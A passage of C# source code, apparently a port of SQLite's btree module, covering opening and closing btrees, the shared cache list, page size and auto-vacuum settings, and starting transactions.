pVfs = db.pVfs;\n      p = new Btree();//sqlite3MallocZero(sizeof(Btree));\n      //if( !p ){\n      //  return SQLITE_NOMEM;\n      //}\n      p.inTrans = TRANS_NONE;\n      p.db = db;\n#if !SQLITE_OMIT_SHARED_CACHE\np.lock.pBtree = p;\np.lock.iTable = 1;\n#endif\n\n#if !(SQLITE_OMIT_SHARED_CACHE) && !(SQLITE_OMIT_DISKIO)\n/*\n** If this Btree is a candidate for shared cache, try to find an\n** existing BtShared object that we can share with\n*/\nif( isMemdb==null && zFilename && zFilename[0] ){\nif( sqlite3GlobalConfig.sharedCacheEnabled ){\nint nFullPathname = pVfs.mxPathname+1;\nstring zFullPathname = sqlite3Malloc(nFullPathname);\nsqlite3_mutex *mutexShared;\np.sharable = 1;\nif( !zFullPathname ){\np = null;//sqlite3_free(ref p);\nreturn SQLITE_NOMEM;\n}\nsqlite3OsFullPathname(pVfs, zFilename, nFullPathname, zFullPathname);\nmutexOpen = sqlite3MutexAlloc(SQLITE_MUTEX_STATIC_OPEN);\nsqlite3_mutex_enter(mutexOpen);\nmutexShared = sqlite3MutexAlloc(SQLITE_MUTEX_STATIC_MASTER);\nsqlite3_mutex_enter(mutexShared);\nfor(pBt=GLOBAL(BtShared*,sqlite3SharedCacheList); pBt; pBt=pBt.pNext){\nDebug.Assert( pBt.nRef>0 );\nif( 0==strcmp(zFullPathname, sqlite3PagerFilename(pBt.pPager))\n&& sqlite3PagerVfs(pBt.pPager)==pVfs ){\nint iDb;\nfor(iDb=db.nDb-1; iDb>=0; iDb--){\nBtree pExisting = db.aDb[iDb].pBt;\nif( pExisting && pExisting.pBt==pBt ){\nsqlite3_mutex_leave(mutexShared);\nsqlite3_mutex_leave(mutexOpen);\nzFullPathname = null;//sqlite3_free(ref zFullPathname);\np=null;//sqlite3_free(ref p);\nreturn SQLITE_CONSTRAINT;\n}\n}\np.pBt = pBt;\npBt.nRef++;\nbreak;\n}\n}\nsqlite3_mutex_leave(mutexShared);\nzFullPathname=null;//sqlite3_free(ref zFullPathname);\n}\n#if SQLITE_DEBUG\nelse{\n/* In debug mode, we mark all persistent databases as sharable\n** even when they are not.  This exercises the locking code and\n** gives more opportunity for asserts(sqlite3_mutex_held())\n** statements to find locking problems.\n*/\np.sharable = 1;\n}\n#endif\n}\n#endif\n      if (pBt == null)\n      {\n        /*\n        ** The following asserts make sure that structures used by the btree are\n        ** the right size.  This is to guard against size changes that result\n        ** when compiling on a different architecture.\n        */\n        Debug.Assert(sizeof(i64) == 8 || sizeof(i64) == 4);\n        Debug.Assert(sizeof(u64) == 8 || sizeof(u64) == 4);\n        Debug.Assert(sizeof(u32) == 4);\n        Debug.Assert(sizeof(u16) == 2);\n        Debug.Assert(sizeof(Pgno) == 4);\n\n        pBt = new BtShared();//sqlite3MallocZero( sizeof(pBt) );\n        //if( pBt==null ){\n        //  rc = SQLITE_NOMEM;\n        //  goto btree_open_out;\n        //}\n        rc = sqlite3PagerOpen(pVfs, ref pBt.pPager, zFilename,\n        EXTRA_SIZE, flags, vfsFlags, pageReinit);\n        if (rc == SQLITE_OK)\n        {\n          rc = sqlite3PagerReadFileheader(pBt.pPager, zDbHeader.Length, zDbHeader);\n        }\n        if (rc != SQLITE_OK)\n        {\n          goto btree_open_out;\n        }\n        pBt.db = db;\n        sqlite3PagerSetBusyhandler(pBt.pPager, btreeInvokeBusyHandler, pBt);\n        p.pBt = pBt;\n\n        pBt.pCursor = null;\n        pBt.pPage1 = null;\n        pBt.readOnly = sqlite3PagerIsreadonly(pBt.pPager);\n        pBt.pageSize = (u16)get2byte(zDbHeader, 16);\n        if (pBt.pageSize < 512 || pBt.pageSize > SQLITE_MAX_PAGE_SIZE\n        || ((pBt.pageSize - 1) & pBt.pageSize) != 0)\n        {\n          pBt.pageSize = 0;\n#if !SQLITE_OMIT_AUTOVACUUM\n          /* If the magic name \":memory:\" will create an in-memory database, then\n** leave the autoVacuum mode at 0 (do not auto-vacuum), even if\n** SQLITE_DEFAULT_AUTOVACUUM is true. On the other hand, if\n** SQLITE_OMIT_MEMORYDB has been defined, then \":memory:\" is just a\n** regular file-name. In this case the auto-vacuum applies as per normal.\n*/\n          if (zFilename != \"\" && !isMemdb)\n          {\n            pBt.autoVacuum = (SQLITE_DEFAULT_AUTOVACUUM != 0);\n            pBt.incrVacuum = (SQLITE_DEFAULT_AUTOVACUUM == 2);\n          }\n#endif\n          nReserve = 0;\n        }\n        else\n        {\n          nReserve = zDbHeader[20];\n          pBt.pageSizeFixed = true;\n#if !SQLITE_OMIT_AUTOVACUUM\n          pBt.autoVacuum = sqlite3Get4byte(zDbHeader, 36 + 4 * 4) != 0;\n          pBt.incrVacuum = sqlite3Get4byte(zDbHeader, 36 + 7 * 4) != 0;\n#endif\n        }\n        rc = sqlite3PagerSetPagesize(pBt.pPager, ref pBt.pageSize, nReserve);\n        if (rc != 0) goto btree_open_out;\n        pBt.usableSize = (u16)(pBt.pageSize - nReserve);\n        Debug.Assert((pBt.pageSize & 7) == 0);  /* 8-byte alignment of pageSize */\n\n#if !(SQLITE_OMIT_SHARED_CACHE) && !(SQLITE_OMIT_DISKIO)\n/* Add the new BtShared object to the linked list sharable BtShareds.\n*/\nif( p.sharable ){\nsqlite3_mutex *mutexShared;\npBt.nRef = 1;\nmutexShared = sqlite3MutexAlloc(SQLITE_MUTEX_STATIC_MASTER);\nif( SQLITE_THREADSAFE && sqlite3GlobalConfig.bCoreMutex ){\npBt.mutex = sqlite3MutexAlloc(SQLITE_MUTEX_FAST);\nif( pBt.mutex==null ){\nrc = SQLITE_NOMEM;\ndb.mallocFailed = 0;\ngoto btree_open_out;\n}\n}\nsqlite3_mutex_enter(mutexShared);\npBt.pNext = GLOBAL(BtShared*,sqlite3SharedCacheList);\nGLOBAL(BtShared*,sqlite3SharedCacheList) = pBt;\nsqlite3_mutex_leave(mutexShared);\n}\n#endif\n      }\n\n#if !(SQLITE_OMIT_SHARED_CACHE) && !(SQLITE_OMIT_DISKIO)\n/* If the new Btree uses a sharable pBtShared, then link the new\n** Btree into the list of all sharable Btrees for the same connection.\n** The list is kept in ascending order by pBt address.\n*/\nif( p.sharable ){\nint i;\nBtree pSib;\nfor(i=0; i<db.nDb; i++){\nif( (pSib = db.aDb[i].pBt)!=null && pSib.sharable ){\nwhile( pSib.pPrev ){ pSib = pSib.pPrev; }\nif( p.pBt<pSib.pBt ){\np.pNext = pSib;\np.pPrev = 0;\npSib.pPrev = p;\n}else{\nwhile( pSib.pNext && pSib.pNext.pBt<p.pBt ){\npSib = pSib.pNext;\n}\np.pNext = pSib.pNext;\np.pPrev = pSib;\nif( p.pNext ){\np.pNext.pPrev = p;\n}\npSib.pNext = p;\n}\nbreak;\n}\n}\n}\n#endif\n      ppBtree = p;\n\n    btree_open_out:\n      if (rc != SQLITE_OK)\n      {\n        if (pBt != null && pBt.pPager != null)\n        {\n          sqlite3PagerClose(pBt.pPager);\n        }\n        pBt = null; //    sqlite3_free(ref pBt);\n        p = null; //    sqlite3_free(ref p);\n        ppBtree = null;\n      }\n      if (mutexOpen != null)\n      {\n        Debug.Assert(sqlite3_mutex_held(mutexOpen));\n        sqlite3_mutex_leave(mutexOpen);\n      }\n      return rc;\n    }\n\n    /*\n    ** Decrement the BtShared.nRef counter.  When it reaches zero,\n    ** remove the BtShared structure from the sharing list.  Return\n    ** true if the BtShared.nRef counter reaches zero and return\n    ** false if it is still positive.\n    */\n    static bool removeFromSharingList(BtShared pBt)\n    {\n#if !SQLITE_OMIT_SHARED_CACHE\nsqlite3_mutex pMaster;\nBtShared pList;\nbool removed = false;\n\nDebug.Assert( sqlite3_mutex_notheld(pBt.mutex) );\npMaster = sqlite3MutexAlloc(SQLITE_MUTEX_STATIC_MASTER);\nsqlite3_mutex_enter(pMaster);\npBt.nRef--;\nif( pBt.nRef<=0 ){\nif( GLOBAL(BtShared*,sqlite3SharedCacheList)==pBt ){\nGLOBAL(BtShared*,sqlite3SharedCacheList) = pBt.pNext;\n}else{\npList = GLOBAL(BtShared*,sqlite3SharedCacheList);\nwhile( ALWAYS(pList) && pList.pNext!=pBt ){\npList=pList.pNext;\n}\nif( ALWAYS(pList) ){\npList.pNext = pBt.pNext;\n}\n}\nif( SQLITE_THREADSAFE ){\nsqlite3_mutex_free(pBt.mutex);\n}\nremoved = true;\n}\nsqlite3_mutex_leave(pMaster);\nreturn removed;\n#else\n      return true;\n#endif\n    }\n\n    /*\n    ** Make sure pBt.pTmpSpace points to an allocation of\n    ** MX_CELL_SIZE(pBt) bytes.\n    */\n    static void allocateTempSpace(BtShared pBt)\n    {\n      if (null == pBt.pTmpSpace)\n      {\n        pBt.pTmpSpace = new byte[pBt.pageSize]; //sqlite3PageMalloc( pBt.pageSize );\n      }\n    }\n\n    /*\n    ** Free the pBt.pTmpSpace allocation\n    */\n    static void freeTempSpace(BtShared pBt)\n    {\n      //sqlite3PageFree(ref pBt.pTmpSpace);\n      pBt.pTmpSpace = null;\n    }\n\n    /*\n** Close an open database and invalidate all cursors.\n*/\n    static int sqlite3BtreeClose(ref Btree p)\n    {\n      BtShared pBt = p.pBt;\n      BtCursor pCur;\n\n      /* Close all cursors opened via this handle.  */\n      Debug.Assert(sqlite3_mutex_held(p.db.mutex));\n      sqlite3BtreeEnter(p);\n      pCur = pBt.pCursor;\n      while (pCur != null)\n      {\n        BtCursor pTmp = pCur;\n        pCur = pCur.pNext;\n        if (pTmp.pBtree == p)\n        {\n          sqlite3BtreeCloseCursor(pTmp);\n        }\n      }\n\n      /* Rollback any active transaction and free the handle structure.\n      ** The call to sqlite3BtreeRollback() drops any table-locks held by\n      ** this handle.\n      */\n      sqlite3BtreeRollback(p);\n      sqlite3BtreeLeave(p);\n\n      /* If there are still other outstanding references to the shared-btree\n      ** structure, return now. The remainder of this procedure cleans\n      ** up the shared-btree.\n      */\n      Debug.Assert(p.wantToLock == 0 && !p.locked);\n      if (!p.sharable || removeFromSharingList(pBt))\n      {\n        /* The pBt is no longer on the sharing list, so we can access\n        ** it without having to hold the mutex.\n        **\n        ** Clean out and delete the BtShared object.\n        */\n        Debug.Assert(null == pBt.pCursor);\n        sqlite3PagerClose(pBt.pPager);\n        if (pBt.xFreeSchema != null && pBt.pSchema != null)\n        {\n          pBt.xFreeSchema(pBt.pSchema);\n        }\n        pBt.pSchema = null;// sqlite3_free( ref pBt.pSchema );\n        //freeTempSpace(pBt);\n        pBt = null; //sqlite3_free(ref pBt);\n      }\n\n#if !SQLITE_OMIT_SHARED_CACHE\nDebug.Assert( p.wantToLock==null );\nDebug.Assert( p.locked==null );\nif( p.pPrev ) p.pPrev.pNext = p.pNext;\nif( p.pNext ) p.pNext.pPrev = p.pPrev;\n#endif\n\n      //sqlite3_free(ref p);\n      return SQLITE_OK;\n    }\n\n    /*\n    ** Change the limit on the number of pages allowed in the cache.\n    **\n    ** The maximum number of cache pages is set to the absolute\n    ** value of mxPage.  If mxPage is negative, the pager will\n    ** operate asynchronously - it will not stop to do fsync()s\n    ** to insure data is written to the disk surface before\n    ** continuing.  Transactions still work if synchronous is off,\n    ** and the database cannot be corrupted if this program\n    ** crashes.  But if the operating system crashes or there is\n    ** an abrupt power failure when synchronous is off, the database\n    ** could be left in an inconsistent and unrecoverable state.\n    ** Synchronous is on by default so database corruption is not\n    ** normally a worry.\n    */\n    static int sqlite3BtreeSetCacheSize(Btree p, int mxPage)\n    {\n      BtShared pBt = p.pBt;\n      Debug.Assert(sqlite3_mutex_held(p.db.mutex));\n      sqlite3BtreeEnter(p);\n      sqlite3PagerSetCachesize(pBt.pPager, mxPage);\n      sqlite3BtreeLeave(p);\n      return SQLITE_OK;\n    }\n\n    /*\n    ** Change the way data is synced to disk in order to increase or decrease\n    ** how well the database resists damage due to OS crashes and power\n    ** failures.  Level 1 is the same as asynchronous (no syncs() occur and\n    ** there is a high probability of damage)  Level 2 is the default.  There\n    ** is a very low but non-zero probability of damage.  Level 3 reduces the\n    ** probability of damage to near zero but with a write performance reduction.\n    */\n#if !SQLITE_OMIT_PAGER_PRAGMAS\n    static int sqlite3BtreeSetSafetyLevel(Btree p, int level, int fullSync)\n    {\n      BtShared pBt = p.pBt;\n      Debug.Assert(sqlite3_mutex_held(p.db.mutex));\n      sqlite3BtreeEnter(p);\n      sqlite3PagerSetSafetyLevel(pBt.pPager, level, fullSync != 0);\n      sqlite3BtreeLeave(p);\n      return SQLITE_OK;\n    }\n#endif\n\n    /*\n** Return TRUE if the given btree is set to safety level 1.  In other\n** words, return TRUE if no sync() occurs on the disk files.\n*/\n    static int sqlite3BtreeSyncDisabled(Btree p)\n    {\n      BtShared pBt = p.pBt;\n      int rc;\n      Debug.Assert(sqlite3_mutex_held(p.db.mutex));\n      sqlite3BtreeEnter(p);\n      Debug.Assert(pBt != null && pBt.pPager != null);\n      rc = sqlite3PagerNosync(pBt.pPager) ? 1 : 0;\n      sqlite3BtreeLeave(p);\n      return rc;\n    }\n\n#if !(SQLITE_OMIT_PAGER_PRAGMAS) || !(SQLITE_OMIT_VACUUM)\n    /*\n** Change the default pages size and the number of reserved bytes per page.\n** Or, if the page size has already been fixed, return SQLITE_READONLY\n** without changing anything.\n**\n** The page size must be a power of 2 between 512 and 65536.  If the page\n** size supplied does not meet this constraint then the page size is not\n** changed.\n**\n** Page sizes are constrained to be a power of two so that the region\n** of the database file used for locking (beginning at PENDING_BYTE,\n** the first byte past the 1GB boundary, 0x40000000) needs to occur\n** at the beginning of a page.\n**\n** If parameter nReserve is less than zero, then the number of reserved\n** bytes per page is left unchanged.\n**\n** If the iFix!=null then the pageSizeFixed flag is set so that the page size\n** and autovacuum mode can no longer be changed.\n*/\n    static int sqlite3BtreeSetPageSize(Btree p, int pageSize, int nReserve, int iFix)\n    {\n      int rc = SQLITE_OK;\n      BtShared pBt = p.pBt;\n      Debug.Assert(nReserve >= -1 && nReserve <= 255);\n      sqlite3BtreeEnter(p);\n      if (pBt.pageSizeFixed)\n      {\n        sqlite3BtreeLeave(p);\n        return SQLITE_READONLY;\n      }\n      if (nReserve < 0)\n      {\n        nReserve = pBt.pageSize - pBt.usableSize;\n      }\n      Debug.Assert(nReserve >= 0 && nReserve <= 255);\n      if (pageSize >= 512 && pageSize <= SQLITE_MAX_PAGE_SIZE &&\n      ((pageSize - 1) & pageSize) == 0)\n      {\n        Debug.Assert((pageSize & 7) == 0);\n        Debug.Assert(null == pBt.pPage1 && null == pBt.pCursor);\n        pBt.pageSize = (u16)pageSize;\n        //        freeTempSpace(pBt);\n      }\n      rc = sqlite3PagerSetPagesize(pBt.pPager, ref pBt.pageSize, nReserve);\n      pBt.usableSize = (u16)(pBt.pageSize - nReserve);\n      if (iFix != 0) pBt.pageSizeFixed = true;\n      sqlite3BtreeLeave(p);\n      return rc;\n    }\n\n    /*\n    ** Return the currently defined page size\n    */\n    static int sqlite3BtreeGetPageSize(Btree p)\n    {\n      return p.pBt.pageSize;\n    }\n\n    /*\n    ** Return the number of bytes of space at the end of every page that\n    ** are intentually left unused.  This is the \"reserved\" space that is\n    ** sometimes used by extensions.\n    */\n    static int sqlite3BtreeGetReserve(Btree p)\n    {\n      int n;\n      sqlite3BtreeEnter(p);\n      n = p.pBt.pageSize - p.pBt.usableSize;\n      sqlite3BtreeLeave(p);\n      return n;\n    }\n\n    /*\n    ** Set the maximum page count for a database if mxPage is positive.\n    ** No changes are made if mxPage is 0 or negative.\n    ** Regardless of the value of mxPage, return the maximum page count.\n    */\n    static int sqlite3BtreeMaxPageCount(Btree p, int mxPage)\n    {\n      int n;\n      sqlite3BtreeEnter(p);\n      n = (int)sqlite3PagerMaxPageCount(p.pBt.pPager, mxPage);\n      sqlite3BtreeLeave(p);\n      return n;\n    }\n#endif //* !(SQLITE_OMIT_PAGER_PRAGMAS) || !(SQLITE_OMIT_VACUUM) */\n\n    /*\n** Change the 'auto-vacuum' property of the database. If the 'autoVacuum'\n** parameter is non-zero, then auto-vacuum mode is enabled. If zero, it\n** is disabled. The default value for the auto-vacuum property is\n** determined by the SQLITE_DEFAULT_AUTOVACUUM macro.\n*/\n    static int sqlite3BtreeSetAutoVacuum(Btree p, int autoVacuum)\n    {\n#if SQLITE_OMIT_AUTOVACUUM\nreturn SQLITE_READONLY;\n#else\n      BtShared pBt = p.pBt;\n      int rc = SQLITE_OK;\n      u8 av = (u8)autoVacuum;\n\n      sqlite3BtreeEnter(p);\n      if (pBt.pageSizeFixed && (av != 0) != pBt.autoVacuum)\n      {\n        rc = SQLITE_READONLY;\n      }\n      else\n      {\n        pBt.autoVacuum = av != 0;\n        pBt.incrVacuum = av == 2;\n      }\n      sqlite3BtreeLeave(p);\n      return rc;\n#endif\n    }\n\n    /*\n    ** Return the value of the 'auto-vacuum' property. If auto-vacuum is\n    ** enabled 1 is returned. Otherwise 0.\n    */\n    static int sqlite3BtreeGetAutoVacuum(Btree p)\n    {\n#if SQLITE_OMIT_AUTOVACUUM\nreturn BTREE_AUTOVACUUM_NONE;\n#else\n      int rc;\n      sqlite3BtreeEnter(p);\n      rc = (\n      (!p.pBt.autoVacuum) ? BTREE_AUTOVACUUM_NONE :\n      (!p.pBt.incrVacuum) ? BTREE_AUTOVACUUM_FULL :\n      BTREE_AUTOVACUUM_INCR\n      );\n      sqlite3BtreeLeave(p);\n      return rc;\n#endif\n    }\n\n\n    /*\n    ** Get a reference to pPage1 of the database file.  This will\n    ** also acquire a readlock on that file.\n    **\n    ** SQLITE_OK is returned on success.  If the file is not a\n    ** well-formed database file, then SQLITE_CORRUPT is returned.\n    ** SQLITE_BUSY is returned if the database is locked.  SQLITE_NOMEM\n    ** is returned if we run out of memory.\n    */\n    static int lockBtree(BtShared pBt)\n    {\n      int rc;\n      MemPage pPage1 = new MemPage();\n      int nPage = 0;\n\n      Debug.Assert(sqlite3_mutex_held(pBt.mutex));\n      Debug.Assert(pBt.pPage1 == null);\n      rc = sqlite3PagerSharedLock(pBt.pPager);\n      if (rc != SQLITE_OK) return rc;\n      rc = btreeGetPage(pBt, 1, ref pPage1, 0);\n      if (rc != SQLITE_OK) return rc;\n\n      /* Do some checking to help insure the file we opened really is\n      ** a valid database file.\n      */\n      rc = sqlite3PagerPagecount(pBt.pPager, ref nPage);\n      if (rc != SQLITE_OK)\n      {\n        goto page1_init_failed;\n      }\n      else if (nPage > 0)\n      {\n        int pageSize;\n        int usableSize;\n        u8[] page1 = pPage1.aData;\n        rc = SQLITE_NOTADB;\n        if (memcmp(page1, zMagicHeader, 16) != 0)\n        {\n          goto page1_init_failed;\n        }\n        if (page1[18] > 1)\n        {\n          pBt.readOnly = true;\n        }\n        if (page1[19] > 1)\n        {\n          goto page1_init_failed;\n        }\n\n        /* The maximum embedded fraction must be exactly 25%.  And the minimum\n        ** embedded fraction must be 12.5% for both leaf-data and non-leaf-data.\n        ** The original design allowed these amounts to vary, but as of\n        ** version 3.6.0, we require them to be fixed.\n        */\n        if (memcmp(page1, 21, \"\\x0040\\x0020\\x0020\", 3) != 0)//   \"\\100\\040\\040\"\n        {\n          goto page1_init_failed;\n        }\n        pageSize = get2byte(page1, 16);\n        if (((pageSize - 1) & pageSize) != 0 || pageSize < 512 ||\n        (SQLITE_MAX_PAGE_SIZE < 32768 && pageSize > SQLITE_MAX_PAGE_SIZE)\n        )\n        {\n          goto page1_init_failed;\n        }\n        Debug.Assert((pageSize & 7) == 0);\n        usableSize = pageSize - page1[20];\n        if (pageSize != pBt.pageSize)\n        {\n          /* After reading the first page of the database assuming a page size\n          ** of BtShared.pageSize, we have discovered that the page-size is\n          ** actually pageSize. Unlock the database, leave pBt.pPage1 at\n          ** zero and return SQLITE_OK. The caller will call this function\n          ** again with the correct page-size.\n          */\n          releasePage(pPage1);\n          pBt.usableSize = (u16)usableSize;\n          pBt.pageSize = (u16)pageSize;\n          //          freeTempSpace(pBt);\n          rc = sqlite3PagerSetPagesize(pBt.pPager, ref pBt.pageSize,\n          pageSize - usableSize);\n          return rc;\n        }\n        if (usableSize < 480)\n        {\n          goto page1_init_failed;\n        }\n        pBt.pageSize = (u16)pageSize;\n        pBt.usableSize = (u16)usableSize;\n#if !SQLITE_OMIT_AUTOVACUUM\n        pBt.autoVacuum = (sqlite3Get4byte(page1, 36 + 4 * 4) != 0);\n        pBt.incrVacuum = (sqlite3Get4byte(page1, 36 + 7 * 4) != 0);\n#endif\n      }\n\n      /* maxLocal is the maximum amount of payload to store locally for\n      ** a cell.  Make sure it is small enough so that at least minFanout\n      ** cells can will fit on one page.  We assume a 10-byte page header.\n      ** Besides the payload, the cell must store:\n      **     2-byte pointer to the cell\n      **     4-byte child pointer\n      **     9-byte nKey value\n      **     4-byte nData value\n      **     4-byte overflow page pointer\n      ** So a cell consists of a 2-byte poiner, a header which is as much as\n      ** 17 bytes long, 0 to N bytes of payload, and an optional 4 byte overflow\n      ** page pointer.\n      */\n      pBt.maxLocal = (u16)((pBt.usableSize - 12) * 64 / 255 - 23);\n      pBt.minLocal = (u16)((pBt.usableSize - 12) * 32 / 255 - 23);\n      pBt.maxLeaf = (u16)(pBt.usableSize - 35);\n      pBt.minLeaf = (u16)((pBt.usableSize - 12) * 32 / 255 - 23);\n      Debug.Assert(pBt.maxLeaf + 23 <= MX_CELL_SIZE(pBt));\n      pBt.pPage1 = pPage1;\n      return SQLITE_OK;\n\n    page1_init_failed:\n      releasePage(pPage1);\n      pBt.pPage1 = null;\n      return rc;\n    }\n\n    /*\n    ** If there are no outstanding cursors and we are not in the middle\n    ** of a transaction but there is a read lock on the database, then\n    ** this routine unrefs the first page of the database file which\n    ** has the effect of releasing the read lock.\n    **\n    ** If there is a transaction in progress, this routine is a no-op.\n    */\n    static void unlockBtreeIfUnused(BtShared pBt)\n    {\n      Debug.Assert(sqlite3_mutex_held(pBt.mutex));\n      Debug.Assert(pBt.pCursor == null || pBt.inTransaction > TRANS_NONE);\n      if (pBt.inTransaction == TRANS_NONE && pBt.pPage1 != null)\n      {\n        Debug.Assert(pBt.pPage1.aData != null);\n        Debug.Assert(sqlite3PagerRefcount(pBt.pPager) == 1);\n        Debug.Assert(pBt.pPage1.aData != null);\n        releasePage(pBt.pPage1);\n        pBt.pPage1 = null;\n      }\n    }\n\n    /*\n    ** If pBt points to an empty file then convert that empty file\n    ** into a new empty database by initializing the first page of\n    ** the database.\n    */\n    static int newDatabase(BtShared pBt)\n    {\n      MemPage pP1;\n      byte[] data;\n      int rc;\n      int nPage = 0;\n\n      Debug.Assert(sqlite3_mutex_held(pBt.mutex));\n      /* The database size has already been measured and cached, so failure\n      ** is impossible here.  If the original size measurement failed, then\n      ** processing aborts before entering this routine. */\n      rc = sqlite3PagerPagecount(pBt.pPager, ref nPage);\n      if (NEVER(rc != SQLITE_OK) || nPage > 0)\n      {\n        return rc;\n      }\n      pP1 = pBt.pPage1;\n      Debug.Assert(pP1 != null);\n      data = pP1.aData;\n      rc = sqlite3PagerWrite(pP1.pDbPage);\n      if (rc != 0) return rc;\n      Buffer.BlockCopy(Encoding.UTF8.GetBytes(zMagicHeader), 0, data, 0, 16);// memcpy(data, zMagicHeader, sizeof(zMagicHeader));\n      Debug.Assert(zMagicHeader.Length == 16);\n      put2byte(data, 16, pBt.pageSize);\n      data[18] = 1;\n      data[19] = 1;\n      Debug.Assert(pBt.usableSize <= pBt.pageSize && pBt.usableSize + 255 >= pBt.pageSize);\n      data[20] = (u8)(pBt.pageSize - pBt.usableSize);\n      data[21] = 64;\n      data[22] = 32;\n      data[23] = 32;\n      //memset(&data[24], 0, 100-24);\n      zeroPage(pP1, PTF_INTKEY | PTF_LEAF | PTF_LEAFDATA);\n      pBt.pageSizeFixed = true;\n#if !SQLITE_OMIT_AUTOVACUUM\n      Debug.Assert(pBt.autoVacuum == true || pBt.autoVacuum == false);\n      Debug.Assert(pBt.incrVacuum == true || pBt.incrVacuum == false);\n      sqlite3Put4byte(data, 36 + 4 * 4, pBt.autoVacuum ? 1 : 0);\n      sqlite3Put4byte(data, 36 + 7 * 4, pBt.incrVacuum ? 1 : 0);\n#endif\n      return SQLITE_OK;\n    }\n\n    /*\n    ** Attempt to start a new transaction. A write-transaction\n    ** is started if the second argument is nonzero, otherwise a read-\n    ** transaction.  If the second argument is 2 or more and exclusive\n    ** transaction is started, meaning that no other process is allowed\n    ** to access the database.  A preexisting transaction may not be\n    ** upgraded to exclusive by calling this routine a second time - the\n    ** exclusivity flag only works for a new transaction.\n    **\n    ** A write-transaction must be started before attempting any\n    ** changes to the database.  None of the following routines\n    ** will work unless a transaction is started first:\n    **\n    **      sqlite3BtreeCreateTable()\n    **      sqlite3BtreeCreateIndex()\n    **      sqlite3BtreeClearTable()\n    **      sqlite3BtreeDropTable()\n    **      sqlite3BtreeInsert()\n    **      sqlite3BtreeDelete()\n    **      sqlite3BtreeUpdateMeta()\n    **\n    ** If an initial attempt to acquire the lock fails because of lock contention\n    ** and the database was previously unlocked, then invoke the busy handler\n    ** if there is one.  But if there was previously a read-lock, do not\n    ** invoke the busy handler - just return SQLITE_BUSY.  SQLITE_BUSY is\n    ** returned when there is already a read-lock in order to avoid a deadlock.\n    **\n    ** Suppose there are two processes A and B.  A has a read lock and B has\n    ** a reserved lock.  B tries to promote to exclusive but is blocked because\n    ** of A's read lock.  A tries to promote to reserved but is blocked by B.\n    ** One or the other of the two processes must give way or there can be\n    ** no progress.  By returning SQLITE_BUSY and not invoking the busy callback\n    ** when A already has a read lock, we encourage A to give up and let B\n    ** proceed.\n    */\n    static int sqlite3BtreeBeginTrans(Btree p, int wrflag)\n    {\n      BtShared pBt = p.pBt;\n      int rc = SQLITE_OK;\n\n      sqlite3BtreeEnter(p);\n      btreeIntegrity(p);\n\n      /* If the btree is already in a write-transaction, or it\n      ** is already in a read-transaction and a read-transaction\n      ** is requested, this is a no-op.\n      */\n      if (p.inTrans == TRANS_WRITE || (p.inTrans == TRANS_READ && 0 == wrflag))\n      {\n        goto trans_begun;\n      }\n\n      /* Write transactions are not possible on a read-only database */\n      if (pBt.readOnly && wrflag != 0)\n      {\n        rc = SQLITE_READONLY;\n        goto trans_begun;\n      }\n\n#if !SQLITE_OMIT_SHARED_CACHE\n/* If another database handle has already opened a write transaction\n** on this shared-btree structure and a second write transaction is\n** requested, return SQLITE_LOCKED.\n*/\nif( (wrflag && pBt.inTransaction==TRANS_WRITE) || pBt.isPending ){\nsqlite3 pBlock = pBt.pWriter.db;\n}else if( wrflag>1 ){\nBtLock pIter;\nfor(pIter=pBt.pLock; pIter; pIter=pIter.pNext){\nif( pIter.pBtree!=p ){\npBlock = pIter.pBtree.db;\nbreak;\n}\n}\n}\nif( pBlock ){\nsqlite3ConnectionBlocked(p.db, pBlock);\nrc = SQLITE_LOCKED_SHAREDCACHE;\ngoto trans_begun;\n}\n#endif\n\n      /* Any read-only or read-write transaction implies a read-lock on\n** page 1. So if some other shared-cache client already has a write-lock\n** on page 1, the transaction cannot be opened. */\n      rc = querySharedCacheTableLock(p, MASTER_ROOT, READ_LOCK);\n      if (SQLITE_OK != rc) goto trans_begun;\n\n      do\n      {\n        /* Call lockBtree() until either pBt.pPage1 is populated or\n        ** lockBtree() returns something other than SQLITE_OK. lockBtree()\n        ** may return SQLITE_OK but leave pBt.pPage1 set to 0 if after\n        ** reading page 1 it discovers that the page-size of the database\n        ** file is not pBt.pageSize. In this case lockBtree() will update\n        ** pBt.pageSize to the page-size of the file on disk.\n        */\n        while (pBt.pPage1 == null && SQLITE_OK == (rc = lockBtree(pBt))) ;\n\n        if (rc == SQLITE_OK && wrflag != 0)\n        {\n          if (pBt.readOnly)\n          {\n            rc = SQLITE_READONLY;\n          }\n          else\n          {\n            rc = sqlite3PagerBegin(pBt.pPager, wrflag > 1, sqlite3TempInMemory(p.db) ? 1 : 0);\n            if (rc == SQLITE_OK)\n            {\n              rc = newDatabase(pBt);\n            }\n          }\n        }\n\n        if (rc != SQLITE_OK)\n        {\n          unlockBtreeIfUnused(pBt);\n        }\n      } while (rc == SQLITE_BUSY && pBt.inTransaction == TRANS_NONE &&\n      btreeInvokeBusyHandler(pBt) != 0);\n\n      if (rc == SQLITE_OK)\n      {\n        if (p.inTrans == TRANS_NONE)\n        {\n          pBt.nTransaction++;\n#if !SQLITE_OMIT_SHARED_CACHE\nif( p.sharable ){\nDebug.Assert( p.lock.pBtree==p && p.lock.iTable==1 );\np.lock.eLock = READ_LOCK;\np.lock.pNext = pBt.pLock;\npBt.pLock = &p.lock;\n}\n#endif\n        }\n        p.inTrans = (wrflag != 0 ? TRANS_WRITE : TRANS_READ);\n        if (p.inTrans > pBt.inTransaction)\n        {\n          pBt.inTransaction = p.inTrans;\n        }\n#if !SQLITE_OMIT_SHARED_CACHE\nif( wrflag ){\nDebug.Assert( !pBt.pWriter );\npBt.pWriter = p;\npBt.isExclusive = (u8)(wrflag>1);\n}\n#endif\n      }\n\n\n    trans_begun:\n      if (rc == SQLITE_OK && wrflag != 0)\n      {\n        /* This call makes sure that the pager has the correct number of\n        ** open savepoints. If the second parameter is greater than 0 and\n        ** the sub-journal is not already open, then it will be opened here.\n        */\n        rc = sqlite3PagerOpenSavepoint(pBt.pPager, p.db.nSavepoint);\n      }\n\n      btreeIntegrity(p);\n      sqlite3BtreeLeave(p);\n      return rc;\n    }\n\n#if !SQLITE_OMIT_AUTOVACUUM\n\n    /*\n** Set the pointer-map entries for all children of page pPage. Also, if\n** pPage contains cells that point to overflow pages, set the pointer\n** map entries for the overflow pages as well.\n*/\n    static int setChildPtrmaps(MemPage pPage)\n    {\n      int i;                             /* Counter variable */\n      int nCell;                         /* Number of cells in page pPage */\n      int rc;                            /* Return code */\n      BtShared pBt = pPage.pBt;\n      u8 isInitOrig = pPage.isInit;\n      Pgno pgno = pPage.pgno;\n\n      